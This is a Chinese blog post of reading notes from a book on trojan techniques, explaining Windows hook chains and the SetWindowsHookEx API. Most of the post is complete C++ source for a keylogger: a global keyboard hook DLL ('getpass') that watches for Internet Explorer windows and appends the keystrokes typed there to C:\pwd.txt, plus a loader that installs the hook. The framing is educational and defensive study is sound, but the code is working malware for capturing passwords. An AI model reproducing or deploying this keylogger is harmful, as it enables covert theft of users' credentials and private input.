zoukankan      html  css  js  c++  java
  • 木马控制技术(三) Hook技术

    此为《木马技术揭秘与防御》系列读书笔记


    基本概念

    钩子(Hook)是windows消息处理机制的一个平台:

    hook is a mechanism by which an application can intercept events, such as messages, mouse actions, and keystrokes. A function that intercepts a particular type of event is known as a hook procedure. A hook procedure can act on each event it receives, and then modify or discard the event.

    要理解hook的工作原理,首先还是要弄清楚hook chain。微软有相应的文档:Hooks Overview

    The system maintains a separate hook chain for each type of hook. hook chain is a list of pointers to special, application-defined callback functions called hook proceduresWhen a message occurs that is associated with a particular type of hook, the system passes the message to each hook procedure referenced in the hook chain, one after the other.

    hook chain 就是一个回调函数指针组成的序列。当与某特定类型hook相关的消息到达时,系统将该消息以遍历的方式传递给hook chain中的每个hook程序。

    windows 有两种系统钩子:

    1. 特定线程钩子:监控指定的线程。钩子函数既可以是包含一个exe,也可是一个dll。

    2. 全局系统钩子:可以监控系统中所有的线程。钩子函数必须包含在独立的dll中。

    常用函数

    无论是特定线程钩子还是全局系统钩子,都是通过  SetWindowsHookEx 来安装的。

    当钩子函数得到了控制权,并处理完相关事件之后,如果想继续传递该消息,必须调用另一个函数:  CallNextHookEx 。

    Hooks tend to slow down the system because they increase the amount of processing the system must perform for each message. You should install a hook only when necessary, and remove it as soon as possible.

    因为 Hook 会增加对每个消息处理的次数,导致系统变慢,所以要及时删除。用到的函数:UnhookWindowsHookEx

    对应的,hook 函数的逻辑处理框架如下:

    LRESULT CALLBACK HookProc(
      int nCode, 
      WPARAM wParam, 
      LPARAM lParam
    )
    {
       // process event
       ...
    
       return CallNextHookEx(NULL, nCode, wParam, lParam);
    }

    源码

    功能介绍:记录IE中的按键信息

     1 // KBTracer.cpp : Defines the entry point for the application.
     2 //
     3 #include "KeyboardRecord.h"
     4 #include "stdafx.h"
     5 #include <iostream>
     6 
     7 using namespace std;
     8 
     9 int WINAPI WinMain(HINSTANCE hInstance,
    10                      HINSTANCE hPrevInstance,
    11                      LPSTR     lpCmdLine,
    12                      int       nCmdShow)
    13 {
    14      // TODO: Place code here.
    15     MSG msg;
    16     char text[] = "Error Loading DLL File";
    17     char title[] = "Key tracer";
    18     BOOL error = FALSE;
    19     HINSTANCE dllHinst;
    20     
    21     // create hook function 
    22     typedef VOID (CALLBACK* LPFNDLLFUNC1)(VOID);
    23     LPFNDLLFUNC1 lpfnDllFunc1;
    24     // load hook dll
    25     dllHinst = LoadLibrary("getpass");
    26 
    27     // [DLL]SetKbHook
    28     if(dllHinst != NULL){
    29         lpfnDllFunc1 = (LPFNDLLFUNC1)GetProcAddress(dllHinst,"?SetKbHook@@YAXXZ");
    30         if(!lpfnDllFunc1){
    31             FreeLibrary(dllHinst);
    32             strcpy(text,"GetProceAddress Error");
    33             error = TRUE;
    34         }else{
    35             strcpy(text,"Hook Succ!!");
    36             lpfnDllFunc1();
    37         }
    38     }else{
    39         error = TRUE;
    40     }
    41     
    42     if(error){
    43         MessageBox(GetDesktopWindow(),text,title,MB_OK);
    44     }
    45     
    46     while(GetMessage(&msg,0,0,0)){
    47         TranslateMessage(&msg);
    48         DispatchMessage(&msg);
    49     }
    50     
    51     return msg.wParam;
    52     //return 0;
    53 }

    接下来,编写getpass.dll文件

    该文件的导出函数为 SetKbHook 和 RemoveKbHook 。

    在 SetKbHook 函数中,调用了两个 Hook 函数:KeyboardProc 和 CBTProc

    1 DLL_EXPORT void SetKbHook(void)
    2 {
    3     if(!bHooked){
    4         hhook = SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)KeyboardProc,hinst,(DWORD)NULL);
    5         hhookMsg = SetWindowsHookEx(WH_CBT,(HOOKPROC)CBTProc,hinst,(DWORD)NULL);
    6         bHooked = TRUE;
    7     }
    8 }

    这两个函数显然属于回调函数,已经实现定义好,委托给用户自己实现。

    CBTProc 在这里用来检测 IE 进程是否启动这一event,代码如下:

     1 LRESULT CALLBACK CBTProc( int nCode, WPARAM wParam, LPARAM lParam)
     2 {
     3     if(nCode == HCBT_ACTIVATE){
     4         GetClassName((HWND)wParam,text,TXTLENGTH);
     5         if(text[0] == 'I' && text[1] == 'E'){
     6             bIEActived = TRUE;
     7         }else{
     8             bIEActived = FALSE;
     9         }
    10     }
    11 
    12     return CallNextHookEx(hhookMsg,nCode,wParam,lParam);
    13 
    14 }

    KeyboardProc 用来记录用户的按键信息,并且写入pwd.txt文件内,代码如下:

     1 LRESULT CALLBACK KeyboardProc( int nCode, WPARAM wParam, LPARAM lParam)
     2 {
     3     int i,tmp;
     4     int flag_shift,flag_captial,flag_menu,flag_control;
     5 
     6     if(bIEActived){
     7         if(wParam == VK_SHIFT || wParam == VK_CAPITAL || wParam == VK_MENU || wParam == VK_CONTROL){
     8             flag_shift = 0x8000 & GetKeyState(VK_SHIFT);
     9             flag_captial = 0x0001 & GetKeyState(VK_CAPITAL);
    10             flag_menu = 0x8000 & GetKeyState(VK_MENU);
    11             flag_control = 0x8000 & GetKeyState(VK_CONTROL);
    12         }
    13 
    14         if( wParam != VK_TAB && wParam != VK_ESCAPE && wParam != VK_LEFT && wParam != VK_RIGHT &&
    15             wParam != VK_UP  && wParam != VK_DOWN   && wParam != VK_END  && wParam != VK_HOME  &&
    16             wParam != VK_PRIOR && wParam != VK_NEXT && wParam != VK_INSERT && wParam != VK_NUMLOCK &&
    17             wParam != VK_SCROLL && wParam != VK_PAUSE && wParam != VK_LWIN && wParam != VK_RWIN &&
    18             wParam != VK_F1 && wParam != VK_F2 && wParam != VK_F3 && wParam != VK_F4 && wParam != VK_F5 && wParam != VK_F6 &&
    19             wParam != VK_F7 && wParam != VK_F8 && wParam != VK_F9 && wParam != VK_F10 && wParam != VK_F11 && wParam != VK_F12){
    20             if((0x80000000 & lParam)  == 0){  // wm_keydown
    21                 if(wParam >= 0x41 && wParam <= 0x5a){  // is any key down?
    22                     wParam += 32;
    23                 }
    24                 if(wParam == VK_SHIFT || wParam == VK_CAPITAL || wParam == VK_MENU || wParam == VK_CONTROL){
    25                     if(wParam == VK_CAPITAL){
    26                         tmp = 1;
    27                     }else{
    28                         tmp = 0;
    29                     }
    30                     condition[count][wParam - 16 - tmp] = 1;                    
    31                 }
    32                 tomb[count] = wParam;
    33                 count++;
    34             }else{                         // wm_keyup
    35                 if(wParam == VK_SHIFT || wParam == VK_CAPITAL || wParam == VK_MENU || wParam == VK_CONTROL){
    36                     if(wParam == VK_CAPITAL) tmp = 1;
    37                     else tmp = 0;
    38                     condition[count][wParam - 16 - tmp] = 2;
    39                     tomb[count] = wParam;
    40                     count++;
    41                 }
    42             }
    43 
    44             if(count == CHARNUM){
    45                 fstream = fopen("C:\\pwd.txt","a+");
    46                 
    47                 for(i = 0;i < count;i++){
    48                     switch(tomb[i]){
    49                     case VK_DELETE:
    50                         fprintf(fstream,"%s","<del>");
    51                         break;
    52                     case VK_RETURN:
    53                         fprintf(fstream,"%s","\n");
    54                         break;
    55                     case VK_BACK:
    56                         fprintf(fstream,"%s","<Backspace>");
    57                         break;
    58                     case VK_SHIFT:
    59                         if(condition[i][SHIFT] == 1)
    60                             fprintf(fstream,"%s","<ShiftD>");
    61                         else
    62                             fprintf(fstream,"%s","<ShiftU>");
    63                         break;
    64                     case VK_CONTROL:
    65                         if(condition[i][CONTROL] == 1)
    66                             fprintf(fstream,"%s","<CtrlD>");
    67                         else
    68                             fprintf(fstream,"%s","<CtrlU>");
    69                         break;
    70                     case VK_MENU:
    71                         if(condition[i][ALT] == 1)
    72                             fprintf(fstream,"%s","<MenuD>");
    73                         else
    74                             fprintf(fstream,"%s","<MenuU>");
    75                         break;
    76                     case VK_CAPITAL:
    77                         if(condition[i][CAPITAL] == 1)
    78                             fprintf(fstream,"%s","<CapD>");
    79                         else
    80                             fprintf(fstream,"%s","<CapU>");
    81                         break;
    82                     default:
    83                         fprintf(fstream,"%c",tomb[i]);
    84                         break;
    85                     }
    86                 }
    87                 fclose(fstream);
    88                 count = 0;
    89                 InitCondition();
    90             }
    91         }    
    92     }
    93     return CallNextHookEx(hhook,nCode,wParam,lParam);
    94 }

    完整的源码如下:

    getpass.cpp
    // getpass.cpp : Defines the entry point for the DLL application.
    // 键盘钩子  非常不完善
    
    #include "stdafx.h"
    #include "KeyboardRecord.h"
    #include <iostream>
    #include <process.h>
    
    #define CHARNUM 5
    #define TXTLENGTH 10
    
    enum NUM{SHIFT,CONTROL,ALT,CAPITAL};
    
    static BOOL bHooked = FALSE;
    static HHOOK hhookMsg = 0, hhook = 0;
    static HINSTANCE hinst;
    static int count;
    static char text[TXTLENGTH];
    static BOOL bIEActived = FALSE;
    static char tomb[CHARNUM];
    static int  condition[CHARNUM][CAPITAL + 1];
    
    static FILE *fstream;
    
    void InitCondition(void);
    LRESULT CALLBACK KeyboardProc( int nCode, WPARAM wParam, LPARAM lParam);
    LRESULT CALLBACK CBTProc( int nCode, WPARAM wParam, LPARAM lParam);
    
    
    BOOL WINAPI DllMain( HINSTANCE hInst, DWORD  ul_reason_for_call, LPVOID lpReserved)
    {
        switch(ul_reason_for_call){
        case DLL_PROCESS_ATTACH:
            hinst = (HINSTANCE)hInst;
            InitCondition();
            count = 0;
            break;
        default:
            break;
        }
        return TRUE;
    }
    
    DLL_EXPORT void SetKbHook(void)
    {
        if(!bHooked){
            hhook = SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)KeyboardProc,hinst,(DWORD)NULL);
            hhookMsg = SetWindowsHookEx(WH_CBT,(HOOKPROC)CBTProc,hinst,(DWORD)NULL);
            bHooked = TRUE;
        }
    }
    
    
    LRESULT CALLBACK KeyboardProc( int nCode, WPARAM wParam, LPARAM lParam)
    {
        int i,tmp;
        int flag_shift,flag_captial,flag_menu,flag_control;
    
        if(bIEActived){
            if(wParam == VK_SHIFT || wParam == VK_CAPITAL || wParam == VK_MENU || wParam == VK_CONTROL){
                flag_shift = 0x8000 & GetKeyState(VK_SHIFT);
                flag_captial = 0x0001 & GetKeyState(VK_CAPITAL);
                flag_menu = 0x8000 & GetKeyState(VK_MENU);
                flag_control = 0x8000 & GetKeyState(VK_CONTROL);
            }
    
            if( wParam != VK_TAB && wParam != VK_ESCAPE && wParam != VK_LEFT && wParam != VK_RIGHT &&
                wParam != VK_UP  && wParam != VK_DOWN   && wParam != VK_END  && wParam != VK_HOME  &&
                wParam != VK_PRIOR && wParam != VK_NEXT && wParam != VK_INSERT && wParam != VK_NUMLOCK &&
                wParam != VK_SCROLL && wParam != VK_PAUSE && wParam != VK_LWIN && wParam != VK_RWIN &&
                wParam != VK_F1 && wParam != VK_F2 && wParam != VK_F3 && wParam != VK_F4 && wParam != VK_F5 && wParam != VK_F6 &&
                wParam != VK_F7 && wParam != VK_F8 && wParam != VK_F9 && wParam != VK_F10 && wParam != VK_F11 && wParam != VK_F12){
                if((0x80000000 & lParam)  == 0){  // wm_keydown
                    if(wParam >= 0x41 && wParam <= 0x5a){  // is any key down?
                        wParam += 32;
                    }
                    if(wParam == VK_SHIFT || wParam == VK_CAPITAL || wParam == VK_MENU || wParam == VK_CONTROL){
                        if(wParam == VK_CAPITAL){
                            tmp = 1;
                        }else{
                            tmp = 0;
                        }
                        condition[count][wParam - 16 - tmp] = 1;                    
                    }
                    tomb[count] = wParam;
                    count++;
                }else{                         // wm_keyup
                    if(wParam == VK_SHIFT || wParam == VK_CAPITAL || wParam == VK_MENU || wParam == VK_CONTROL){
                        if(wParam == VK_CAPITAL) tmp = 1;
                        else tmp = 0;
                        condition[count][wParam - 16 - tmp] = 2;
                        tomb[count] = wParam;
                        count++;
                    }
                }
    
                if(count == CHARNUM){
                    fstream = fopen("C:\\pwd.txt","a+");
                    
                    for(i = 0;i < count;i++){
                        switch(tomb[i]){
                        case VK_DELETE:
                            fprintf(fstream,"%s","<del>");
                            break;
                        case VK_RETURN:
                            fprintf(fstream,"%s","\n");
                            break;
                        case VK_BACK:
                            fprintf(fstream,"%s","<Backspace>");
                            break;
                        case VK_SHIFT:
                            if(condition[i][SHIFT] == 1)
                                fprintf(fstream,"%s","<ShiftD>");
                            else
                                fprintf(fstream,"%s","<ShiftU>");
                            break;
                        case VK_CONTROL:
                            if(condition[i][CONTROL] == 1)
                                fprintf(fstream,"%s","<CtrlD>");
                            else
                                fprintf(fstream,"%s","<CtrlU>");
                            break;
                        case VK_MENU:
                            if(condition[i][ALT] == 1)
                                fprintf(fstream,"%s","<MenuD>");
                            else
                                fprintf(fstream,"%s","<MenuU>");
                            break;
                        case VK_CAPITAL:
                            if(condition[i][CAPITAL] == 1)
                                fprintf(fstream,"%s","<CapD>");
                            else
                                fprintf(fstream,"%s","<CapU>");
                            break;
                        default:
                            fprintf(fstream,"%c",tomb[i]);
                            break;
                        }
                    }
                    fclose(fstream);
                    count = 0;
                    InitCondition();
                }
            }    
        }
        return CallNextHookEx(hhook,nCode,wParam,lParam);
    }
    
    /*
    The system calls a WH_CBT hook procedure before activating, creating, destroying, minimizing, 
    maximizing, moving, or sizing a window; before completing a system command; before removing a mouse or keyboard event
    from the system message queue; before setting the input focus; or before synchronizing with the system message queue. 
    The value the hook procedure returns determines whether the system allows or prevents one of these operations. The 
    WH_CBT hook is intended primarily for computer-based training (CBT) applications.
    判断IE是否被激活
    */
    LRESULT CALLBACK CBTProc( int nCode, WPARAM wParam, LPARAM lParam)
    {
        if(nCode == HCBT_ACTIVATE){
            GetClassName((HWND)wParam,text,TXTLENGTH);
            if(text[0] == 'I' && text[1] == 'E'){
                bIEActived = TRUE;
            }else{
                bIEActived = FALSE;
            }
        }
    
        return CallNextHookEx(hhookMsg,nCode,wParam,lParam);
    
    }
    
    DLL_EXPORT void RemoveKbHook(void)
    {
        if(bHooked){
            UnhookWindowsHookEx(hhook);
        }
    }
    
    void InitCondition(void)
    {
        int i,j;
        for(i = 0;i < CHARNUM;i++){
            for(j = 0;j < CAPITAL + 1;j++){
                condition[i][j] = 0;
            }
        }
    }
    KeyboardRecord.h
    #ifndef _KTR
    #define _KTR
    #include <windows.h>
    #define DLL_EXPORT _stdcall(dllexport)
    DLL_EXPORT void SetKbHook(void);
    DLL_EXPORT void RemoveKbHook(void);
    #endif
    KBTracer.cpp
    // KBTracer.cpp : Defines the entry point for the application.
    //
    #include "KeyboardRecord.h"
    #include "stdafx.h"
    #include <iostream>
    
    using namespace std;
    
    int WINAPI WinMain(HINSTANCE hInstance,
                         HINSTANCE hPrevInstance,
                         LPSTR     lpCmdLine,
                         int       nCmdShow)
    {
         // TODO: Place code here.
        MSG msg;
        char text[] = "Error Loading DLL File";
        char title[] = "Key tracer";
        BOOL error = FALSE;
        HINSTANCE dllHinst;
        
        // create hook function 
        typedef VOID (CALLBACK* LPFNDLLFUNC1)(VOID);
        LPFNDLLFUNC1 lpfnDllFunc1;
        // load hook dll
        dllHinst = LoadLibrary("getpass");
    
        // [DLL]SetKbHook
        if(dllHinst != NULL){
            lpfnDllFunc1 = (LPFNDLLFUNC1)GetProcAddress(dllHinst,"?SetKbHook@@YAXXZ");
            if(!lpfnDllFunc1){
                FreeLibrary(dllHinst);
                strcpy(text,"GetProceAddress Error");
                error = TRUE;
            }else{
                strcpy(text,"Hook Succ!!");
                lpfnDllFunc1();
            }
        }else{
            error = TRUE;
        }
        
        if(error){
            MessageBox(GetDesktopWindow(),text,title,MB_OK);
        }
        
        while(GetMessage(&msg,0,0,0)){
            TranslateMessage(&msg);
            DispatchMessage(&msg);
        }
        
        return msg.wParam;
        //return 0;
    }

    参考资源:

    [1] 【HOOK技术】键盘钩子 http://www.cnblogs.com/chenang/archive/2011/11/04/2236554.html [2] 利用键盘钩子开发按键发音程序 http://www.vckbase.com/index.php/wv/40

  • 相关阅读:
    Uva10305(dfs)
    Uva572
    Uva122
    Uva679
    Uva136
    Uva489
    Uva133
    Uva1339
    Uva1588
    《世纪的哭泣》读后感 读书笔记
  • 原文地址:https://www.cnblogs.com/handt/p/2633748.html
Copyright © 2011-2022 走看看